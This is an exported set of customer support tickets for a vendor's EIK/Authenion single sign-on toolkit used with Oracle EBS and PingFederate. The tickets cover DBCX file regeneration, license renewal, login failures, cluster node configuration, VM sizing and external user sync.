Hi Amarnath Rajendran, As we discussed during the call, since your DR instance has a separate database, we have generated the DBCX file and tested the EBS SSO is working as excepted. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1168> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1169

SUBJECT : EBS dbcX file for production

PROBLEM DESCRIPTION : Hi, Yesterday we have regenerated the DBCX file in DR after change in the password. Today we need to regenerate the dbcX in production,

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0

seen\_articles: enterprise\_enabled: false referrer: https://support.likemindsconsulting.com/support/home portal\_url: https://support.likemindsconsulting.com/support/tickets/new

Hi Amarnath Rajendran, Please send us the meeting invitation to generate the DBCX file in the production. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1169> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Amarnath Rajendran, we have generated the DBCX file for prod instances and tested the EBS SSO(EBSProd and EBSProdDmz)is working fine. Thanks, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1169> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1170

SUBJECT : EIK License Expiry Date: 2024-06-30 | Please provide new License keys

PROBLEM DESCRIPTION : Hi Team, We are getting following messages into logs "Your EIK License will expire in 32 days". Please refer attached screenshot. Thanks Prateek

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 seen\_articles:  
enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/home> portal\_url:  
<https://support.likemindsconsulting.com/support/tickets/new>

Hi Prateek Jain, Thank you for notifying, We are aware of this and will be providing you with the new  
EIK License very soon. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1170>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not  
reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain,(Chenthil) EIK & Authenion licenses have been sent via email dated 14th June  
2024. ?Please feel free to contact us should you have any queries. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1170> Regards, EIK Support Team <-- This  
message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the  
ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1171

SUBJECT : Wanted to know LikeMinds solution for EBS R12 SSO in Azure cloud sytem

PROBLEM DESCRIPTION : Likeminds support Microsoft EntraID for SSO login for oracle R12 in  
azure cloud?

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 seen\_articles:  
enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets> portal\_url:  
<https://support.likemindsconsulting.com/support/tickets/new>

Hi Activision DBA, We will get back to you on your query after consulting with our senior support.

Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1171> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA, Please make note that the Entra ID for SSO is supported by the Likeminds EBS-EIK kit. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1171> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA, ? Please make note that the Entra ID for SSO is supported by the Likeminds EBS-EIK kit. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1171> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1172

SUBJECT : User Authentication Failing for APEx application

PROBLEM DESCRIPTION : We are currently on Lmconnect 1.1, Moved the APEX web host from OAS to ORDS/Tomcat. Authentication is failing, need help on this.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0

seen\_articles: enterprise\_enabled: false referrer:  
<https://support.likemindsconsulting.com/support/solutions/48000454701> portal\_url:  
<https://support.likemindsconsulting.com/support/tickets/new>

Exception Says ErrorNull username passed to login procedure.Contact your application

administrator. we are suspecting passing the header variable is not working. Can we have a screenshare session to address this issue?

Hi Asha Vemireddy, Kindly send us a meeting invite and the screenshot of the error message. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1172> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

I don't believe you need to change anything else on the ORDS end. It's controlled only based on the authentication scheme on the app. I think we should be good there. please open a support ticket as well, just to have the team double check the lmconnect config. Thanks, Vikram

Hi Asha Vemireddy/Amit In regard to our meeting, we requested for the followings. 1. Log files for DEV & POC environments in Lmconnect (Lmconnect-engine logs and others) 2. Network trace for DEV & POC 3. Verify the two redirect URL in Ping federate admin console for DEV & POC ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1172> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Asha Vemireddy/Amit Kindly send us the POC config files as well. Thank you ! Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1172> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Asha Vemireddy/Amit, Could you please provide an update on this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1172> Regards, EIK Support Team <-- This



message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Asha Vemireddy, We are closing the ticket and you can reopen the same if required. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1172> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi, Please close the ticket, we were able to resolve the issue on our end. Thanks, Asha

Hello Asha, Greeting to you ! Appreciate if you could give us an update on the solution to ticket 1172 for our records. Thank you,

TICKET DISPLAY ID : 1173

SUBJECT : ARMS PING UAT Not working

PROBLEM DESCRIPTION : Dear Team, We have migrated the ARMS servers from on premises to Azure. After which we are noticing issues in SSO. Kindly check.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0

seen\_articles: enterprise\_enabled: false referrer:

<https://support.likemindsconsulting.com/support/home> portal\_url:

<https://support.likemindsconsulting.com/support/tickets/new>

Hi Amarnath Rajendran, Can you please send us the error screenshot, eik-error.log file, eik-debug.log file and pingfederate-server log file? Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1173> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1174

SUBJECT : Unable to import Authnion Instance

PROBLEM DESCRIPTION : We have configured Authnion on Oracle Linux 8. When we are trying to import the Authnion instance, it is getting failed. Log file has been attached for reference. It is working fine on Oracle Linux 7.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 seen\_articles: ["48001251586","\48001196667","\48001256861"] enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Anil Dutta, Can you please provide a network trace and open the Developer Tools to take a screenshot of the Console tab . Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1174> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Thanks for your update. We will check and get back to you ASAP. In meanwhile can you please open the following URL in a new tab and try to fetch again. URL:-

<https://ocisd95048.becpsn.com:8090>

Ticket

URL

-

<https://support.likemindsconsulting.com/helpdesk/tickets/1174> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Please find attached network trace file.

We have tried below but it gave the same error. We have uploaded the network trace. "Thanks for your update. We will check and get back to you ASAP. In meanwhile can you please open the following URL in a new tab and try to fetch again." URL:- <https://ocisd95048.becpsn.com:8090>  
Please note, We have configured Authnention on Oracle Linux 8. Please check if current Authnention software is certified with Linux 8 or need to upgrade authenion software binaries.

Hi Anil Dutta, 1.Check the network connection between the standalone authenion-admin.jar and the server which you are trying to fetch. 2.If there is any other server could you please try on it and let us update on it. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1174>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, 1.Confirming you that authenion package is compatable with Oracle Linux 8. 2.When you are trying to import make sure that you have export.json in new authenion instance(Oracle Linux 8 ). 3.Please make sure that existing authenion instance hostname and new instance must have the same. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1174> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Could you please send us an update on this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1174> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Could you please send us a meeting invite to discuss this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1174> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, We hope that the issue reported in ticket has been resolved to your satisfaction. As such, we are closing this ticket. If you find that the issue persists or if you have any further concerns, please do not hesitate to reopen the ticket. Thanks, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1174> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1175

SUBJECT : DR EBSQA & EBSTEST - HTTP 503 Error

PROBLEM DESCRIPTION : DR EBSQA & EBSTEST - HTTP 503 Error DBCX file was regenerate (last was in 2022)

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2024-07-26 20:25:47 UTC

TICKET DISPLAY ID : 1176

SUBJECT : Issues logging in to EBS in UAT environment

PROBLEM DESCRIPTION : we are currently experiencing issues logging in to EBS UAT using SSO, with the below error from Ping. Unfortunately, something has gone wrong. We're unable to fulfill your request. Rest assured we have been notified and are looking into the issue. Try again later. Reason: A System error has occurred. Please contact system Admin Reference Code: EIK-LM-2003

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0  
seen\_articles: enterprise\_enabled: false referrer:  
https://support.likemindsconsulting.com/support/home portal\_url:  
https://support.likemindsconsulting.com/support/tickets/new

Hi Daoudi, Could you please send us the Eik logs and Server log. Thanks, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1176> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Daoudi, We have checked the logs and identified a connectivity issue with the EBS DB server. Please verify the connectivity between the EBS DB server and Ping server. If the connectivity is fine, we need to generate the DBCX file. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1176> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Daoudi, Okay, we need to generate the DBCX file. After generating the DBCX file, restart of the Ping Federate services is required. Please let us know if you require any assistance with generating

the DBCX file. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1176> Regards,  
EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly  
to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, We checking with ADIC team internally regarding this EBS UAT issue.

Hi Daoudi, We identified an SQL connection error. The PingFederate server is not able to connect to  
the EBS database. However, ping and telnet are working, but the DB connection is failing due to  
several reasons such as a network glitch or due to a database refresh/rest activities. To resolve this,  
we need to take the following two remediations: 1. Restart the Ping EIK services and test the SSO  
login. 2. If the connection error persists, regenerate the DBCX file for UAT and deploy it in the  
PingFederate server. We have also received a request from the ADIC team to move the EIK  
deployment for EBS ARMS UAT from the Ping PRD environment to the Ping Dev environment. If  
ADIC plans to move the EIK deployment, this activity can be planned based on the ADIC team's  
availability. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1176> Regards,  
EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly  
to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Daoudi, We will be closing this ticket, you could reopen the same if required. Kindly, contact us if  
you need any assistance. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1176> Regards, EIK Support Team <-- This  
message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the  
ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1177

SUBJECT : EIK Tool kit License

PROBLEM DESCRIPTION : Please share valid EIK toolkit license , they are expiring on 08/2024.  
Also, please provide the steps to be followed for EIK toolkit license renewal in DEV > TEST > PROD  
PO is already raised, please let us know if you need anymore information.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0  
seen\_articles: enterprise\_enabled: false referrer:  
<https://support.likemindsconsulting.com/support/tickets> portal\_url:  
<https://support.likemindsconsulting.com/support/tickets/new>

Hi Activision DBA, Kindly note that the Elk license is expiring on the 31 August. We will be getting in touch with you ASAP, regarding the same. ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1177> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Team, we cannot wait till last day, we have an approved downtime window in that period only we can apply, Per process we need to update it in non production environments, so please share it urgently. Regards, sandeep

Hi Activision DBA, (Sandeep) We understand your concerns, our accounts officer has already sent you the invoice. We will get back to you on this. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1177> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA & Team, Follow the below mentioned steps to install the new EIK license. ?

1.Rename or move the old EIK license file EBSAuth.lic from /EBSAuth folder from all environments (DEV/TEST/PROD and cluster runtime engines). ? 2.Extract and replace the new license file to /EBSAuth folder on all nodes hosting EIK(DEV/TEST/PROD and cluster runtime engines ). Note: Updated license information can be found in the eik-debug.log (e.g.: EIK License Expiry Date: 2025-08-31) Should you have any queries, Please feel free to reach out to us. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1177> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1178

SUBJECT : One of the application node not working in PING DEV setup

PROBLEM DESCRIPTION : We have ping development environment which has one admin and 2 apps servers. Apps servers are navldpngap02 and navldpngap03. When se shutdown the application services on navldpngap02, EBS login not working.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Activision DBA, Could you please share us the latest EIK log files and config file of both admin and apps servers. Thanks, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1178> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->



logfiles are attached.

logfiles are attached.

Hi Activision DBA, We will check and get back to you on this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1178> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA, Kindly let us know the changes you have made ? Make sure you have added the below param to the EIKAuth.config file. on all eik nodes. issuer=https\://example.com.test.com\.:9031  
Restart the Ping services. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1178> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA,(Francis) Also make note that the PingFederate server may run out of memory if too many EIK instances are deployed on the same server. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1178> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Thanks for quick response! We crosschecked dev and test servers , the parameter not present in all 4 apps servers belongs to dev and uat. Node with Issue: [pingfederate@navldpngap03 EBSAuth\_MISCA]\$ grep -i issuer EIKAuth.config [pingfederate@navldpngap03 EBSAuth\_MISCA]\$

Working Node [pingfederate@navldpngap02 EBSAuth\_MISCA]\$ grep -i issuer EIKAuth.config  
[pingfederate@navldpngap02 EBSAuth\_MISCA]\$ We are deployed only one EIK instance. it's working on node 2 but issue on node 3. Please check and let us know if any action plan on this.

Hi Activision DBA,(Francis) Please re-generate the EIKAuth.config file and deploy it into the /EBSAuth folder. Restart the Ping services. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1178> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We have already tried and also copied EIKAuth.config file from node 2 to node 3 as well but it did not work.

We have already tried and also copied EIKAuth.config file from node 2 to node 3 as well but it did not work.

Hi Activision DBA,(Francis) Please re-regenerate the config file instead of copying from the other node. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1178> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA,(Francis) Also please send us the screen shot of the error message. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1178> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Error screen shot is attached.

Hi Activision DBA,(Francis) Please make sure the EBSAuth\_MISCA.war exists in the /server/default/deploy folder in ping federate (If it exists, please redeploy from a working instance and restart the ping services) ? ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1178> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

It's working fine after copying the war file.

Hi Activision DBA, Thanks for your update. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1178> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA, We are closing this ticket and you can reopen the same if required. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1178> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1179

SUBJECT : caching of protected URI when multiple virtual servers share the same backend port.

PROBLEM DESCRIPTION : Hi Team, We have been monitoring an intermittent SSO issue within EBS where the user after completing SSO gets redirected to the Authenion passthrough URL with a

connection reset error as below? How do we caching of protected URI when multiple virtual servers share the same backend port.? Please help on this issue at priority. Thanks Prateek

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home> portal\_url: <https://likemindsconsultinghelp.freshdesk.com/support/tickets/new>

Hi Prateek Jain, Could you please send us a meeting invite so that we can join the call immediately. Also send us the log files of the error and network trace. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1179> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, As discussed in today's call, Please provide us with the followings: 1.The network trace and captured error details, along with the timestamps when the issue occurred. 2.EIK logs(eik-error.log and eik-debug.log) and authenion logs(authenion-engine.log and server.log) 3.Screenshot of the error page. Also, It will be helpful if you could arrange for a meeting with the user who is experiencing this intermittent issue, this will give us a better understanding. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1179> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Kindly send us an update on this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1179> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Please find the attached zip log file from node2.

Please find the attached zip log file from node2.

Please find the attached zip log file from node1.

1.The network trace and captured error details, along with the timestamps when the issue occurred.  
==> it is difficult to share. 2.EIK logs(eik-error.log and eik-debug.log) and authenion  
logs(authenion-engine.log and server.log) ==> This is shared. 3.Screenshot of the error page.

Please find the server.log file from both nodes.

Hi Prateek Jain, Thank you for providing the logs. We will check and get back to you. Please try your  
best to send us the network trace as well. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1179> Regards, EIK Support Team <-- This  
message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the  
ticket link above to view or manage your tickets.-->

Hi Prateek Jain, We would like to have a call with you regarding the issue. Please let us know your  
availability. We will schedule a call for 30 mins. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1179> Regards, EIK Support Team <-- This  
message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the  
ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Kindly send us an update on this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1179> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Could you please provide us with an update on this ticket? If the issue has been resolved or not. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1179> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, We will be closing this ticket, but you may reopen it if needed. Please feel free to contact us if you require any further assistance. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1179> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1180

SUBJECT : Resize Ping Identity DR VM's

PROBLEM DESCRIPTION : Dear Team, Below is the current sizing for the Nodes in our DR Site. we could see the utilization is less than 10 percent all the time. Kindly let us know the minimum sizing (CPU/Memory) for the below nodes. Also please let me know if reduce the VM Size (CPU/Memory) will there be any impact? VM Name Size Role VM-EUW-PIMI01 Standard D4s v5 (4 vcpus, 16 GiB memory) Pingidentity Runtime Node 5 (internal) VM-EUW-PIME01 Standard D4s v5 (4 vcpus, 16 GiB memory) Pingidentity Runtime Node 6 (external) VM-EUW-PIMA01 Standard D4s

v5 (4 vcpus, 16 GiB memory) Pingidentity Replilca Admin Node

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0  
seen\_articles: enterprise\_enabled: false referrer:  
https://support.likemindsconsulting.com/support/home portal\_url:  
https://support.likemindsconsulting.com/support/tickets/new

Hi Amarnath Rajendran, There will be no impact on reducing the hardware requirements, the optimal requirements are below: 1. 4 CPUs (remains the same). 2. RAM size reduce to 8GB. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1180> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Amarnath Rajendran, We hope the information provided meets your needs. We will proceed with closing this ticket. If you have any further questions, please don't hesitate to reach out to us. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1180> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1181

SUBJECT : EBS External user sync

PROBLEM DESCRIPTION : We are in the process of implementing customer sync to EBS for billing access and required to sync users to EBS for external user login, please let us know to discuss the use sync process to EBS through EIK authentication for new external user sync process. Thanks  
Venkata Reddy

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: https://support.likemindsconsulting.com/support/home portal\_url: https://support.likemindsconsulting.com/support/tickets/new

Hi Venkata Reddy, ?Are you setting up a new test EBS-EIK environment? Please send us a meeting invite to further clarify. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1181> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Please join the call @11.30am EST [https://teams.microsoft.com/l/meetup-join/19%3ameeting\\_NmMzNmM5YTAAtMTQ4MC00MTNmLTkyNjctYjEzOTM0OGMzYzcy%40thread.v2/0?context=%7b%22Tid%22%3a%22b0e0d312-bd1b-4314-a355-9ff726ed1063%22%2c%22Oid%22%3a%22924b8047-aacc-4f93-8233-786da70ea5f3%22%7d](https://teams.microsoft.com/l/meetup-join/19%3ameeting_NmMzNmM5YTAAtMTQ4MC00MTNmLTkyNjctYjEzOTM0OGMzYzcy%40thread.v2/0?context=%7b%22Tid%22%3a%22b0e0d312-bd1b-4314-a355-9ff726ed1063%22%2c%22Oid%22%3a%22924b8047-aacc-4f93-8233-786da70ea5f3%22%7d)

I have attached the user authentication and provisioning to EBS FND\_USER flow diagram, we are having user sync issues with JIT and looking for user provisioning before user login to EBS for the first time. Also required to know how the user is getting populated to FND\_USER in EBS through JIT provisioning. I have scheduled the call on Monday 16th 9.30am EST, please join the call to review the process.

[https://teams.microsoft.com/l/meetup-join/19%3ameeting\\_MWVjNjJmMzctODcyNC00YzI5LWExY2MtYjU2YjU4Mjg5M2FI%40thread.v2/0?context=%7b%22Tid%22%3a%22b0e0d312-bd1b-4314-a355-9ff726ed1063%22%2c%22Oid%22%3a%22924b8047-aacc-4f93-8233-786da70ea5f3%22%7d](https://teams.microsoft.com/l/meetup-join/19%3ameeting_MWVjNjJmMzctODcyNC00YzI5LWExY2MtYjU2YjU4Mjg5M2FI%40thread.v2/0?context=%7b%22Tid%22%3a%22b0e0d312-bd1b-4314-a355-9ff726ed1063%22%2c%22Oid%22%3a%22924b8047-aacc-4f93-8233-786da70ea5f3%22%7d)



Hi Venkata Reddy, Based on today's call, we will get back to you with the required information. We also acknowledge the meeting invite for Monday. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1181> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Venkata Reddy, First: The following endpoint should be added in the EIKAuth.config file and be accurate, as shown in the example below.  
userinfo\_url=https://test.example.com:9036/idp/userinfo.openid (compare it with the working env)  
Restart the EIK (Tomcat services) and check if the user sync is working.  
===== secondly: Attached is a screenshot of the "Policy management" in Pingfederate admin console, with the appropriate settings. Restart the Ping services once the checkboxes are as per the screenshot, and check if the user sync is working. PS: Please make note of all the current changes prior to the new changes.  
Please give us an update. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1181> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Venkata Reddy, Referring to today's call, the EIK kit or the JIT function has no play in the "Conditional synchronization" which is part of "Oracle data synchronization". Let us know if you need any assistance in EIK support. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1181> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We are still not getting users synced to EBS, will schedule call tomorrow to review the issue.

Hi Venkata Reddy, Please send us the latest EIK, Error & Debug logs, Also the screenshot of the error message displayed for a particular user/users in concern. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1181> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Venkata Reddy, Apart from the requested EIK logs, can you please send us a screenshot of the following, from your ping admin console as shown below. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1181> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Please find the attached log files

